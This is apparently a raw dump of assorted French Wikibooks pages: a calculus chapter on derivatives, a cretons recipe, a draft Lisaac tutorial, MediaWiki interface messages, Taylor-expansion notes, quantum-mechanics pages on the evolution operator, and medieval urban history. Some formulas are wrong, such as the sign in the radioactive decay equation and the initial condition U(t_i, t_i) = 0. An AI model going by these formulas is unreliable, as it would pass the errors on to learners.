est souvent utile: <br/> ; Définition 3: On dit que <math>f</math> est <math>n</math> fois dérivable sur un intervalle <math>I</math> si elle est <math>n</math> fois dérivable en tout point de <math>I</math>; on dit que <br/><center><math>f \in C^n(I)</math> si <math>f, f^\prime, ... </math></center> : sont continues sur <math>I</math>.<br/> : Donc <math>f \in C^0(I)</math> signifie simplement que <math>f</math> est continue sur <math>I</math>. On peut aussi parler de la classe <math>C^\infty (\mathbb{R})</math>, avec les polynômes, l'exponentielle, le sinus, le cosinus et la gaussienne <math>x \mapsto e^{-ax^2}</math> avec <math>a \in \mathbb{R_{+}^{*}}</math>. == Interprétation == === Interprétation géométrique === : Si <math>f</math> est à valeurs réelles et si le nombre <math>f^\prime (x_0) </math> existe, il est est égal à la pente de la tangente à <math>f(x)</math> au point <math>x_0</math>. L'équation cartésienne de la droite tangente à <math>f(x)</math> en <math>x_0</math> s'écrit <math> y = f(x_0) + (x - x_0)*f^\prime (x_0) </math>. A noter que si <math> f^\prime (x_0) = \pm \infty </math> la tangente à la courbe existe encore, mais elle est verticale, et d'équation <math>x = x_0</math>. === Interprétation mécanique === : Soit <math>x(t)</math> l'équation horaire d'un point matériel selon l'axe <math>Ox</math> en fonction du temps <math>t</math>. La limite <math>\lim_{t \to t_0}\frac{x(t) - x(t_0)}{t-t_0}\, </math> est notée <math>\dot x (t_o)</math> et la fonction dérivée <math> t \mapsto \dot x (t) </math> est la vitesse du point, à l'instant <math>t</math>, selon l'axe <math>Ox</math>. L'accélération à l'instant <math>t</math>, selon ce même axe, est la dérivée seconde <math>\ddot x (t)</math>. La loi fondamentale de la dynamique newtonienne s'exprime selon <br/> <center><math>m \ddot x (t) = F_x </math>,</center> : où <math>m</math> est la masse de la particule considérée et <math>F_x</math> la composante, selon l'axe <math>Ox</math>, de la force qui s'exerce sur la particule, qui peut dépendre de <math> x, \dot x , ... </math>. On obtient des équations différentielles que l'on ne sait résoudre analytiquement que pour des forces <math>F_x</math> assez simples. === Interprétation chimique === : On considère un échantillon de matériau radio-actif qui contient <math>N(t)</math> atomes à l'instant <math>N(t)</math>. La loi fondamentale qui régit l'évolution temporelle du phénomène de désintégration est la suivante: le taux de variation instantanée du nombre d'atomes est une constante négative, dont la valeur absolue est notée <math>\lambda</math> (elle varie selon la nature de l'atome). La variation instantanée du nombre d'atomes est la dérivée <math> \dot N (t)</math> et le taux de variation est <math> \frac{\dot N}{N}\, </math>. On a donc pour loi de variation temporelle: <center><math> \frac{\dot N}{N}\, = - \lambda \Rightarrow \dot N (t) = \lambda N(t)</math> .</center><br/> : On obtient encore une équation différentielle; le lecteur peut vérifier que si <math>N_0</math> est le nombre d'atomes initial à <math>t = 0</math>, au temps <math>t</math> il n'en restera plus que <math>N(t) = N_0 e^{-\lambda t}</math>. == Continuité et Dérivabilité == ; Théorème: '' Toute fonction'' <math>f</math> ''dérivable en ''<math>x_0</math> ''est continue en ce point.'' : Attention! La réciproque est fausse. Par exemple la fonction <math>x \mapsto \left| x \right| </math> est continue en <math>x = 0</math>, mais elle n'est pas dérivable en <math>x = 0</math>. Ici encore, prudence: il existe des fonctions continues sur <math> \mathbb{R} </math> qui ne sont dérivables en aucun point! On ne peut pas toujours "faire un dessin". == Calcul des dérivées == == Dérivées des fonctions réciproques == == Différentielle == == Utilisations == === Dérivée première et variations === === Dérivée seconde et convexité === == Les théoremes fondamentaux == Cuisine:Cretons 7884 38911 2006-03-27T13:38:14Z Guillaumito 46 [[Cretons]] déplacé vers [[Cuisine:Cretons]] '''Cretons''' Le Creton est une charcuterie proche de la rillette du Mans ou de Connéré, à la différence qu'il est fait de porc haché plutôt qu'avec des morceaux de porc effilochés à la fourchette après cuisson lente au four. == Ingrédients == * 2 tranches de pain * 1 tasse de lait * 450 grammes de porc haché * 1/4 cuillère à thé de 4 épices * 1 oignon * 1 à 2 gousses d'ail * sel au besoin == Préparation == * Enlever la croûte des tranches de pain * Couper le pain en cube et tremper les morceaux avec le lait * Couper l'oignon en brunoise et hacher l'ail finement * Dans une casserole faire revenir l'oignon et l'ail * Ajouter le porc à la préparation d'oignon et faire revenir jusqu'à ce que le porc ai perdu sa coloration rosée * Ajouter la mie de pain et le lait ainsi que le quart de cuillerée à thé de 4 épices * Laisser cuire à basse température 1 heure en mélangeant régulièrement Lisaac 7885 43324 2006-05-27T22:58:32Z Outs 1307 /* Chapitre 3 : Les design-patterns classiques */ {{EnTravaux}} =Tutorial : Lisaac pour le programmeur objet standard (Java/C++ par exemple)= == Introduction == Ce document a pour but de faire découvrir la programmation par prototype en Lisaac à quelqu'un ayant l'habitude des langages à classes. C'est n'est pas un document de références mais un tutorial didactique. Ce n'est pas non plus un document expliquant les principes fondamentaux et les caractéristiques de la programmation orientée prototype. Le plan est en deux chapitre, le premier présente les notions les plus standards des la programmation objet, le deuxième présentes des techniques moins connues voir novatrices. Après cela dépend évidement de l'expérience de chacun des lecteurs en la matière. Le style narratif du document sera sous forme de question/réponse comme pour une FAQ (Foire aux questions). Mais contrairement aux FAQ vous devez lire toutes les parties dans l'ordre. Notez aussi que le plan utilise le vocable de la programmation objet à classe et le contenu introduit celui de la programmation objet à prototype utilisé dans Lisaac. Si jamais quelque chose ne vous parait pas clair, ou si jamais vous avez une interrogation sur le pourquoi ou les avantages de Lisaac par rapport à ce que vous êtes habitués n'hesitez pas à modifier directement le document et à rajouter votre question à l'endroit le plus approprié. Néanmoins le document ne doit pas devenir un forum de discussion, vous pouvez utiliser la page dédiée pour cela. Attention : Ce document utilise la syntaxe 0.2 du langage, et le compilateur de cette version n'a pas encore été distribué. Il y a donc quelques différences avec le compilateur que vous pouvez actuelement télécharger. Vous en serez à chaque fois prévenu. ==Chapitre 1 : Les notions basiques== * [[Lisaac/Prototype|Déclarer une classe]]{{75}} * [[Lisaac/Héritage|Hériter d'une autre classe]]{{75}} * [[Lisaac/Slot|Déclarer des attributs ou des méthode]]{{75}} * [[Lisaac/Main|Faire un main "hello world"]]{{50}} * [[Lisaac/Cloner|Instancier des objets]]{{75}} * [[Lisaac/Variables|Déclarer des variables locales]]{{75}} * [[Lisaac/Extended|Le traitement des types de base]]{{00}} * [[Lisaac/Structures de contrôle|Les conditionnelles et les boucles]]{{50}} * [[Lisaac/Expression|Les expression boolléennes]]{{00}} * [[Lisaac/La généricité|Les templates]]{{00}} * [[Lisaac/Conteneurs|Les conteneurs Tableau et Liste]]{{00}} * [[Lisaac/Gestion des erreurs|La gestion des erreurs]]{{00}} * [[Lisaac/Les points délicats|Retour sur les points difficiles]]{{00}} ==Chapitre 2 : Utilisation avancée== * [[Lisaac/slot avancé|Transformer une méthode en attribut (ou l'inverse)]] * [[Lissac/slot paramètres et mots cléfs|Définir des mots clés dans la liste de paramètre]] * [[Lisaac/slot paramètres et vecteurs|Paramètres et valeurs de retour composés]] <!--* Utiliser le type SELF pour éviter adapter automatiquement les types lors d'un héritage--> * [[Lisaac/contrat|Utiliser la programmation par contrat]] * Déclaration fine des droits d'un prototype * Créer ses propres structures de contrôle * Héritage dynamique ==Chapitre 3 : Les design-patterns classiques == A FAIRE : coder et enlever ceux qui ne sont pas réutilisable directement par du code. De plus certain sont triviaux comme Singleton et Prototype, d'autre sont d'un intéret limité par les mécanismes comme l'héritage partagé pour le Poids-mouche. * Fabrique Abstraite (Abstract Factory) * Monteur (Builder) * Fabrication (Factory Method) * Prototype (Prototype) * Singleton (Singleton) * Adaptateur (Adapter) * Pont (Bridge) * Objet composite (Composite) * Décorateur (Decorator) * Façade (Facade) * Poids-mouche ou poids-plume (Flyweight) * Proxy (Proxy) * Chaîne de responsabilité (Chain of responsability) * Commande (Command) * Interpréteur (Interpreter) * Itérateur (Iterator) * Médiateur (Mediator) * Memento (Memento) * Observateur (Observer) * État (State) * Stratégie (Strategy) * Patron de méthode (Template Method) * Visiteur (Visitor) Lisaac/Prototype 7886 46624 2006-06-30T15:21:56Z Mildred 1565 /* Q: A quoi sert le mot category ? */ +explication différentes catégories (KERNEL, DRIVER, APPLICATION, DOCILE) ====Question : Comment je fait une classe toto ?==== Il suffit de créer un fichier toto.li contenant : Section Header + name := TOTO; - category := APPLICATION; Remarques : * Il n'y a pas de classes en Lisaac mais des prototypes. * := est l'affectation * Les prototypes sont identifiés EN_MAJUSCULES avec des ''_''. * Le nom du fichier doit être le même que le nom du prototype mais en minuscule et l'extension du fichier est li. * Les mots clefs comme Section et Header doivent avoir précisément cette casse. * les identifiants comme name sont en minuscule. * Ce n'est pas une convention, le compilateur est sensible à la casse et vous signalera les erreurs de ce type. ====Q : Où sont passé les accolades ou les mots clés de début et de fin de définition de classes ? ==== Vu qu'il y a un et un seul prototype par fichier nous n'en avons pas vraiment besoin, n'est ce pas ? Par contre il y a à la place une section d'entête décrivant l'identifiant du prototype. ====Q: A quoi sert le mot category ?==== C'est un petit peu compliqué à expliquer à ce niveau du tutorial. Disons pour le moment qu'il existe des catégories d'objets que le compilateur ne traitera pas de la même manière. Par exemple un objet peut représenter un dispositif matériel comme une souris, chaque souris aura un et un seul objet MOUSE associé ce qui restreint l'utilisation de l'objet. Alors que les classes que vous écrirez pour vos applications n'auront pas ces caractéristiques. Les catégories sont une fonctionnalité à utiliser avec IsaacOS. Elles permettent de séparer les privilèges des objets. Les catégories peuvent être : * KERNEL : pour un élément du noyau. * DRIVER : pour les drivers de l'O.S. * APPLICATION : pour les objets normaux Selon leur catégorie, les objets ont le droti d'accéder à d'autres objets ou non. Un objet de niveau KERNEL ne pourra utiliser que d'autre objets KERNEL alors qu'un objet niveau APPLICATION peut utiliser n'importe quel objet. Il existe de plus une catégorie DOCILE. Un tel peut être utilisé par n'importe quel objet mais ne peuvent accéder qu'aux objets autorisés pour la catégorie de l'objet qui l'utilise. Ces objets sont généralement des objets de la bibliothèque. ====Q: Que signifie ces + et - ?==== *'+' devant le slot name, signifie que l'objet est clonable à condition qu'il hérite d'un objet lui offrant la possibilité de cloner (typiquement OBJECT). C'est le cas le plus courant. *'-' signifie que l'objet est non clonable. Cela correspond a un singleton. * Le '-' devant category sera expliqué plus tard ====Q: C'est nul ton truc ! J'ai essayé de compiler mais il ne veut pas.==== C'est normal, il faut juste attendre quelques sections. En fait cette classe (vide) est correcte mais on ne peut pas la compiler séparement. Par contre le compilateur n'accepte pour le moment que les sections sous la forme "section HEADER", ce document se base sur la prochaine version du compilateur (0.2). Déclarer une classe 7887 45663 2006-06-24T21:53:23Z Guillaumito 46 correction double redirection #REDIRECT [[Lisaac/Prototype]] Lisaac/Héritage 7888 40793 2006-04-23T15:27:54Z Outs 1307 ====Question : Bon comme c'est sensé être un langage objet certifié élevé au grain : voyons directement comment hériter d'une classe ? pardon d'un prototype.==== Facile (heureusement) il faut rajouter un identifiant dans la section Inherit et lui affecter le nom du prototype. Dans l'exemple suivant j'ai rajouté un héritage vers le parent racine de tous les prototypes le bien nommé : OBJECT. Section Header + name := TOTO; - category := APPLICATION; Section Inherit - parent_object:OBJECT := OBJECT; Il existe plusieurs types d'héritages possibles que nous verront dans le deuxième chapitre. En particulier celui présenté dans l'exemple ci-dessus est particulier, pour retrouver le comportement habituel des langages objet à classe il faut utiliser la forme suivante : Section Inherit + heritage_standard:Expanded PROTO_PARENT; Ce qui dénote un héritage expansé non partagé. ====Q : Étrange j'ai l'habitude que la classe racine soit ajoutée automatiquement comme en Java, N'est-ce pas revenir aux problèmes du C++ qui ne proposait pas de classe racine ?==== Pas vraiment, le problème principal en C++ venait surtout du fait que la classe Object n'était pas fournie en standard avec les compilateurs. Ici vous devez ajouter le prototype parent Objet à la main mais elle est standard donc pas de soucis. Et en plus vous pouvez adapter le système en utilisant votre propre prototype "Adam" pour des besoin spécifiques. ====Q : Et je peux rajouter autant d'héritage que je veux ?==== Bien sur lisaac gère l'héritage multiple ! Et vous êtes encouragé à l'utiliser ! ====Q : Mais je croyais que l'héritage multiple était le MAL et qu'il ne fallait pas l'utiliser. Et même que c'est révélateur d'un mauvaise conception objet !!==== Pas du tout cela fait longtemps que l'on sait résoudre les problème du multi-héritage correctement. C'est juste que la solution proposée par C++ est bancale. Et que le l'idée de se restreindre à l'héritage simple + interface multiple (comme en Java,C#,Smalltalk,...) règle évidement tous les problèmes mais empêche aussi d'utiliser le concept d'héritage à sa pleine mesure. Sachez enfin que l'héritage multiple ne pose des difficultés que lorsque le graphe d'héritage possède un ou plusieurs cycles (problème du diamant). En dehors de ce cas il n'y a pas vraiment de différence avec l'héritage simple, sauf que c'est plus utile. Et nous parlerons des cas problèmatiques dans la deuxième partie du tutorial. ====Q : Je trouve cela étrange que l'on doive nommer nommer la relation d'héritage, on dirai une relation d'aggrégation !==== Oui mais cela n'en est pas une, les relations d'héritages sont nommés c'est tout. Et c'est logique puisque que l'on peut en avoir plusieurs, et cela permet aussi d'autres choses que nous verrons plus tard. ====Q : Que signifie ces '+' et '-' devant la déclaration d'héritage, ainsi que Expanded ? ==== * Le '-' signifie que l'héritage est partagé. Concretement l'objet parent existe de manière indépendante et unique en mémoire et est partagé pour toutes les instances. * Le '+' signifie que l'héritage n'est pas partagé. Donc l'objet parent existe de manière indépendante et multiple en mémoire et chaque instance peut avoir le sien. * Le Expanded devant le type dénote que l'objet parent n'existe pas de manière indépendante en mémoire. Il est inclus dans la représentation mémoire de l'instance. TODO : expliquer lesquel on est sensé utiliser Prototype (tutorial) 7889 38896 2006-03-27T08:23:24Z Guillaumito 46 [[Prototype (tutorial)]] déplacé vers [[Lisaac/Prototype]]: "Convention" de nommage #REDIRECT [[Lisaac/Prototype]] Héritage (tutorial) 7890 38898 2006-03-27T08:24:08Z Guillaumito 46 [[Héritage (tutorial)]] déplacé vers [[Lisaac/Héritage]]: "Convention" de nommage #REDIRECT [[Lisaac/Héritage]] Cretons 7893 38912 2006-03-27T13:38:14Z Guillaumito 46 [[Cretons]] déplacé vers [[Cuisine:Cretons]] #REDIRECT [[Cuisine:Cretons]] Lisaac/Main 7894 46627 2006-06-30T15:39:50Z Mildred 1565 typo : e enlevé ====Question : Bon tout ca c'est bien joli, mais je veux du concret. Ou est mon hello world ?==== Section Header + name := HELLO_WORLD; - category := APPLICATION Section Inherit - parent_object:OBJECT := OBJECT; Section Public - start := ( "Hello World\n".print; ); ====Question : Donc si j'ai bien compris pour avoir une fonction principale il suffit que je l'appelle start ?==== Non pas du tout. Vous pouvez nommer votre slot principal comme bon vous semble. Pour qu'il soit reconnu comme slot principal il suffit qu'il soit le seul slot de la Section Public. Il faut aussi qu'il n'ai pas d'argument. Essayez de compiler le code la commande est "lisaac hello_world.li" où plus simplement "lisaac hello_world". L'exécutable sera "hello_world". ====Question : Si le slot main ne peut pas avoir d'argument, comment je retrouve les paramètres du programme ?==== L'objet COMMAND_LINE de la bibliothèque standard permet d'y accéder. L'équivalent du argv[n] du C est COMMAND_LINE.item n ====Question : Pourquoi ne pas utiliser l'opérateur <- à la place de := qui permet l'exécution automatique ?==== TODO Wikipédia:Pages à fusionner 7895 38982 2006-03-27T21:03:25Z Guillaumito 46 [[Wikipédia:Pages à fusionner]] déplacé vers [[Wikilivres:Pages à fusionner]] #REDIRECT [[Wikilivres:Pages à fusionner]] MediaWiki:Articletitles 7899 sysop 46688 2006-07-01T18:48:48Z MediaWiki default Articles commençant par ''$1'' MediaWiki:Editsectionhint 7900 sysop 46749 2006-07-01T18:48:48Z MediaWiki default Éditer la section : $1 MediaWiki:Hideresults 7901 sysop 46799 2006-07-01T18:48:49Z MediaWiki default Cacher les résultats MediaWiki:Missingcommenttext 7902 sysop 46870 2006-07-01T18:48:49Z MediaWiki default Merci d'insérer un commentaire ci-dessous. MediaWiki:Missingsummary 7903 sysop 46871 2006-07-01T18:48:49Z MediaWiki default '''Rappel :''' Vous n'avez pas fourni de commentaire de modification. Si vous cliquez une nouvelle fois sur le bouton « Sauvegarder », votre modification sera enregistrée sans commentaire. MediaWiki:Rev-deleted-comment 7904 sysop 46960 2006-07-01T18:48:50Z MediaWiki default (commentaire supprimé) MediaWiki:Rev-deleted-text-permission 7905 sysop 46961 2006-07-01T18:48:50Z MediaWiki default <div class="mw-warning plainlinks"> Cette version de la page a été retirée des archives publiques. Il peut y avoir des détails dans le [{{fullurl:Special:Log/delete|page={{PAGENAMEE}}}} journal des effacements]. </div> MediaWiki:Rev-deleted-text-view 7906 sysop 46962 2006-07-01T18:48:50Z MediaWiki default <div class="mw-warning plainlinks"> Cette version de la page a été retirée des archives publiques. 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D'autres administrateurs sur ce wiki pourront toujours accèder au contenu cacher et le restaurer à nouveau à travers cette même interface, à moins qu'une restriction supplémentaire ne soit mise en place par les opérateurs du site. MediaWiki:Revisiondelete 7919 sysop 46977 2006-07-01T18:48:50Z MediaWiki default Supprimer/Restaurer des versions MediaWiki:Searchcontaining 7920 sysop 46986 2006-07-01T18:48:50Z MediaWiki default Chercher les articles contenant ''$1''. MediaWiki:Searchnamed 7921 sysop 46989 2006-07-01T18:48:50Z MediaWiki default Chercher les articles nommés ''$1''. MediaWiki:Tog-autopatrol 7922 sysop 47029 2006-07-01T18:48:51Z MediaWiki default Marquer mes éditions comme patrouillées MediaWiki:Tog-forceeditsummary 7923 sysop 47038 2006-07-01T18:48:51Z MediaWiki default M'avertir lorsque je n'ai pas completé le contenu de la boîte de commentaires MediaWiki:Tog-watchcreations 7924 sysop 47043 2006-07-01T18:48:51Z MediaWiki default Ajouter les pages que vous créez à votre liste de suivi MediaWiki:Variantname-sr 7925 sysop 39052 2006-03-28T05:53:46Z MediaWiki default sr MediaWiki:Variantname-sr-ec 7926 sysop 39053 2006-03-28T05:53:46Z MediaWiki default sr-ec MediaWiki:Variantname-sr-el 7927 sysop 39054 2006-03-28T05:53:46Z MediaWiki default sr-el MediaWiki:Variantname-sr-jc 7928 sysop 39055 2006-03-28T05:53:46Z MediaWiki default sr-jc MediaWiki:Variantname-sr-jl 7929 sysop 39056 2006-03-28T05:53:46Z MediaWiki default sr-jl Mathématiques du traitement du signal:Développements limités 7930 39068 2006-03-28T06:49:56Z Charles 328 Le développement de Taylor permet d'écrire: <math>C(S+\alpha\, \delta S) = C(S) + \sum_{n=1}^N {1\over n!}\, \partial^n_S C(S)\, (\alpha\, \delta S)^n + o(\delta S^N)</math> on peut alors toujours combiner ces développements avec differents <math>\alpha_i</math> via une somme pondérée par des coefficients <math>\beta_i</math> et obtenir: <math>\sum_{i=1}^I \beta_i \, C(S+\alpha_i\, \delta S) = \left(\sum_i \beta_i\right) C(S) + \sum_{n=1}^N \left(\sum_i \beta_i \alpha_i^n\right) {1\over n!}\, \partial^n_S C(S)\, (\alpha\, \delta S)^n + o(\delta S^N)</math> on peut alors choisir les <math>\alpha_i</math> et <math>\beta_i</math> de sorte que toutes les puissances de <math>\delta S</math> jusqu'à <math>N</math> s'annulent (<math>\delta_i(j)</math> est l'indice de Kroeneker): <math>(1.1)\;\; \sum_{i=1}^N \beta_i \alpha_i^n = \delta_{\{0,N\}}(n) ,\, \forall 1\leq n< N</math> On aura alors: <math>\sum_{i=1}^N \beta_i \, C(S+\alpha_i\, \delta S) = C(S) + \partial^N_S C(S) \, \delta S^N + o(\delta S^N)</math> L'équation (1.1) fait apparaître une matrice de Vandermonde (in [http://fr.wikipedia.org/wiki/Matrice_de_Vandermonde fr.wikipedia]): <math>(1.2)\;\; {\rm VdM}(\alpha)' \beta = \Delta_{\{0,N\}},\, {\rm VdM}(\alpha)= \begin{pmatrix} 1 & \alpha_1 & \cdots & \alpha_1^N\\ 1 & \alpha_2 & \cdots & \alpha_2^N\\ \vdots &\vdots &\vdots &\vdots \\ 1 & \alpha_N & \cdots & \alpha_N^N \end{pmatrix},\; \Delta_{\{0,N\}} = \begin{pmatrix}1\\0\\\vdots\\1\end{pmatrix}</math> Interaction quantique/Notions élémentaires/Schrödinger/Équation 7931 39069 2006-03-28T07:08:55Z Fapae 1199 L'évolution de l'[[Interaction quantique/Notions élémentaires/État quantique|état quantique]] <math>|\psi(t)\rang</math> d'un système physique est donné par l'équation de Schrödinger :<math>i \hbar \frac{d}{dt} |\psi(t)\rang = H(t) |\psi(t)\rang</math> où <math>H(t)</math> est l'[[Interaction quantique/Notions élémentaires/Hamiltonien|hamiltonien]] du système. Interaction quantique/Notions élémentaires/Schrödinger/Hamiltonien indépendant du temps 7932 39075 2006-03-28T07:39:36Z Fapae 1199 Dans l'équation des valeurs propres <math>E_i</math> d'un hamiltonien <math>H</math> '''indépendant du temps''' :<math>H |\psi_i\rang = E_i |\psi_i\rang</math>. Les vecteurs propres <math>|\psi_i\rang</math> peuvent être multipliés par n'importe quel scalaire dépendant du temps. Ils obéissent à l'[[Interaction quantique/Notions élémentaires/Schrödinger/Équation|équation de Schrödinger]] si :<math>|\psi_i(t)\rang = e^{-i E_i t/\hbar}|\psi_i(0)\rang</math> Donc <math>U\left(t_f, t_i\right) = e^{-i E_i \times \left(t_f - t_i\right)/\hbar}</math> est l'[[Interaction quantique/Notions élémentaires/Opérateur d'évolution|opérateur d'évolution]] de l'état stationnaire dans le point de vue de Schrödinger. Interaction quantique/Notions élémentaires/Opérateur d'évolution 7933 39082 2006-03-28T08:50:30Z Fapae 1199 équation d'évolution L'opérateur d'évolution <math>U(t_f, t_i)</math> relie l'état final <math>|\psi(t_f)\rang</math> à l'état initial <math>|\psi(t_i)\rang</math> :<math>|\psi(t_f)\rang = U(t_f, t_i) \; |\psi(t_i)\rang</math> De l'équation de Schrödinger on déduit immédiatement que l'opérateur d'évolution obéit à l'équation d'évolution :<math>i \hbar \frac{d}{dt} U(t, t_i) = H(t) U(t, t_i)</math> Mais cela ne suffit pas à caractériser cet opérateur. Il faut rajouter la condition :<math>U(t_i, t_i) = 0</math> Pour un hamiltonien indépendant du temps, l'opérateur d'évolution d'un état stationnaire d'énergie <math>E_i</math> est * dans le [[Interaction quantique/Notions élémentaires/Schrödinger/Hamiltonien indépendant du temps|point de vue de Schrödinger]] <math>e^{-i E_i \times \left(t_f - t_i \right)/\hbar}</math> * dans le [[Interaction quantique/Notions élémentaires/Point de vue d'interaction|point de vue d'interaction]] il vaut 1. Interaction quantique/Notions élémentaires/Point de vue d'interaction 7934 39079 2006-03-28T08:32:28Z Fapae 1199 Pour un hamiltonien :<math>H(t) = H_0 + V(t)</math> dans lequel <math>V(t) = 0</math> pour tous les instants avant (<math>t < t_I </math>) et après (<math>t > t_F </math>) l'interaction, la transformation unitaire <math>e^{i H_0 t /\hbar}</math> permet de transformer l'[[Interaction quantique/Notions élémentaires/Opérateur d'évolution|opérateur d'évolution]] en simple matrice de diffusion, pourvu que l'on considère des instants en dehors de l'interaction. Un vecteur ket devient :<math>|\tilde{\psi}(t)\rang = e^{i H_0 t /\hbar} |{\psi}(t)\rang</math> et un opérateur devient :<math>\tilde{M}(t) = e^{i H_0 t /\hbar} {M}(t) e^{-i H_0 t /\hbar}</math> En particulier l'opérateur <math>i \hbar \frac{d}{dt}</math> devient <math>H_0 + i \hbar \frac{d}{dt}</math> et l'[[Interaction quantique/Notions élémentaires/Schrödinger/Équation|équation de Schrödinger]] devient :<math>i \hbar \frac{d}{dt} |\tilde{\psi}(t)\rang = e^{i H_0 t /\hbar} V(t) e^{-i H_0 t /\hbar} \; |\tilde{\psi}(t)\rang</math> Cette équation montre que les états n'évoluent pas en dehors de l'interaction. Interaction quantique/Notions élémentaires/Opérateur d'évolution/Équation intégrale 7935 39081 2006-03-28T08:45:49Z Fapae 1199 Écrivant l'habiltonien sous la forme :<math>H(t) = H_0 + V(t)</math> l'[[Interaction quantique/Notions élémentaires/Opérateur d'évolution|opérateur d'évolution]] obéit à l'équation :<math>U(t_i, t_f) = U_0(t_i, t_f) + \frac{1}{i \hbar} \int_{t_i}^{t_f} dt \; U_0(t_f, t) V(t) U(t, t_i)</math> où :<math>U_0(t_i, t_f) = e^{-i H_0 \times (t_f - t_i)/\hbar}</math> est l'opérateur d'évolution du système d'hamiltonien <math>H_0</math> indépendant du temps ([[Interaction quantique/Notions élémentaires/Opérateur d'évolution/Équation intégrale/Démonstration|démonstration]]). Interaction quantique/Notions élémentaires/Opérateur d'évolution/Équation intégrale/Démonstration 7936 39085 2006-03-28T09:41:55Z Fapae 1199 Il s'agit de vérifier l'[[Interaction quantique/Notions élémentaires/Opérateur d'évolution|équation d'évolution]] <math>i \hbar \frac{d}{dt} U(t, t_i) = H(t) U(t, t_i)</math> avec <math>H(t) = H_0 + V(t)</math> pour un opérateur vérifiant :<math>U(t, t_i) = U_0(t, t_i) + \frac{1}{i \hbar} \int_{t_i}^{t} d\theta \; U_0(t, \theta) V(\theta) U(\theta, t_i) </math>. Sachant que :<math>U_0(t, t_i) = e^{-i H_0 \times (t - t_i)/\hbar}</math>, on a :<math>i \hbar\frac{d}{dt} U_0(t, t_i) = H_0 U_0(t, t_i)</math> et :<math>\begin{matrix} i \hbar \frac{d}{dt} U(t, t_i) &=& i \hbar \frac{d}{dt} U_0(t, t_i) + \frac{d}{dt} \int_{t_i}^{t} d\theta \; U_0(t, \theta) V(\theta) U(\theta, t_i) \\ &=& i \hbar \frac{d}{dt} U_0(t, t_i) + \frac{d}{dt} \left(e^{-i H_0 t/\hbar} \int_{t_i}^{t} d\theta \; e^{i H_0 \theta/\hbar} \; V(\theta) U(\theta, t_i)\right) \\ &=& H_0 U_0(t, t_i) + H_0 \int_{t_i}^{t} d\theta \; U_0(t, \theta) V(\theta) U(\theta, t_i) + i \hbar V(t) U(t, t_i)\\ &=& H_0 U_0(t, t_i) + \frac{1}{i \hbar} H_0 \int_{t_i}^{t} d\theta \; U_0(t, \theta) V(\theta) U(\theta, t_i) + V(t) U(t, t_i)\\ &=& H_0 U(t, t_i) + V(t) U(t, t_i)\\ &=& H(t) U(t, t_i) \end{matrix}</math> c.q.f.d. La condition supplémentaire U(t, t) est évidemment vérifiée. Interaction quantique/Notions élémentaires/Opérateur d'évolution/Développement perturbatif 7937 39088 2006-03-28T10:41:34Z Fapae 1199 Pour un hamiltonien <math>H(t) = H_0 + V(t)</math>, l'[[Interaction quantique/Notions élémentaires/Opérateur d'évolution|opérateur d'évolution]] peut se développer en série :<math>U(t_f, t_i) = U_0(t_f, t_i) + \sum_{n=1}^\infty U^{(n)}(t_f, t_i)</math> avec :<math>U_0(t_f, t_i) = e^{-i H_0 \times (t_f, t_i)/\hbar}</math> et :<math>\begin{matrix} U^{(n)}(t_f, t_i) & = & \left(\frac{1}{i \hbar}\right)^n \int_{t_i \le \theta_1 \le \theta_2 \le \ldots \le \theta_n \le t_f} d \theta_1 d \theta_2 \ldots d\theta_n \times \\ & \times & U_0(t_f, \theta_n) V(\theta_n) U_0(\theta_n, \theta_{n-1}) \ldots V(\theta_2) U_0(\theta_2, \theta_1) V(\theta_1) U_0(\theta_1, t_i) \end{matrix}</math> Ce dernier terme correspond à <math>n+1</math> opérateurs d'évolution non perturbés séparés par des perturbations <math>V</math>. Dans le [[Interaction quantique/Notions élémentaires/Point de vue d'interaction|point de vue d'interaction]], l'opérateur <math>U_0</math> devient l'opérateur unité, et l'on a :<math>\tilde{U}(t_f, t_i) = 1 + \sum_{n=1}^\infty \tilde{U}^{(n)}(t_f, t_i)</math> avec :<math> \tilde{U}^{(n)}(t_f, t_i) = \left(\frac{1}{i \hbar}\right)^n \int_{t_i \le \theta_1 \le \theta_2 \le \ldots \le \theta_n \le t_f} d \theta_1 d \theta_2 \ldots d\theta_n \times \tilde{V}(\theta_n) \ldots \tilde{V}(\theta_2) \tilde{V}(\theta_1) </math> Matriciellemement, :<math>\tilde{U}_{fi} = \delta_{fi} + \sum_{n=1}^\infty \tilde{U}_{fi}^{(n)}</math> avec :<math>\tilde{U}_{fi} = \lang \phi_f | \tilde{U}(t_f, t_i)| \phi_i \rang</math> et :<math>\tilde{U}_{fi}^{(n)} = \lang \phi_f | \tilde{U}^{(n)}(t_f, t_i)| \phi_i \rang</math> Histoire de la France médiévale:chapitre 8 7940 39114 2006-03-28T16:32:16Z Urban 886 {{Histoire de la France médiévale}} La France urbaine. =Qu'est-ce qu'une ville au Moyen Âge ?= ==Un seuil de population ?== *Difficile d'évaluer la population urbaine au Moyen Âge faute de sources. ==Des murailles ?== Il existe plusieurs enceintes au sein d'une même ville jusqu'aux XIIIe / XIV siècles. Simon de Montfort impose la destruction des murailles de Toulouse. ==Un statut spécial ?== *Autonomie urbaine : "l'air de la ville rend libre". *Une administration municipale. ==Une production non-agricole ?== ==Conclusion== La ville ''c'est tout à la fois, liés les uns aux autres, la création d'un paysage particulier, le dépassement d'un certain seuil de population agglomérée et le développement de fonctions secondaire et tertiaire''<ref>Monique Bourin-Derruau, ''Temps d'équilibres ...'', page 113.</ref>. =Evolution du fait urbain= ==Haut Moyen Âge== ==Moyen Âge classique== Les XIe, XIIe et XIIIe siècles sont l'époque d'un essor urbain généralisé à l'ensemble de l'Occident. ===Les causes de l'essor urbain=== *La croissance démographique à partir du XIe siècle, alimente la croissance de la population urbaine. *Exode rural : les gens des campagnes viennent travailler dans l'industrie textile. ===Les manifestations de la croissance urbaine=== * Stimulation de la construction * Nouvelles enceintes * Faubourgs nouveaux : ces quartiers récents se trouvent à l'extérieur des murailles et sont faits de bâtisses plus ou moins solides. Urbanisme spontané. Les faubourgs sont parfois entourés de remparts<ref>Monique Bourin-Derruau, ''Temps d'équilibres ...'', page 114.</ref>. ===La ville, miroir des changements sociaux et culturels=== *Les marchands fortunés se font construire de beaux palais en pierre. *Les ordres mendiants, fondés au XIIIe siècle, connaissent un grand succès auprès des populations citadines. Ils font construire des couvents et des églises nouvelles. *L'essor des universités favorise la multiplication des collèges. *Spécialisation des quartiers ? ==Bas Moyen Âge== ===Les crises affectent les villes=== *peste : multiplication des hôpitaux, afflux de pauvres *famine *guerres : **Construction de fortifications, d'enceintes =Notes= <references/> =Bibliographie= *Samuel Leturcq, ''La vie rurale en 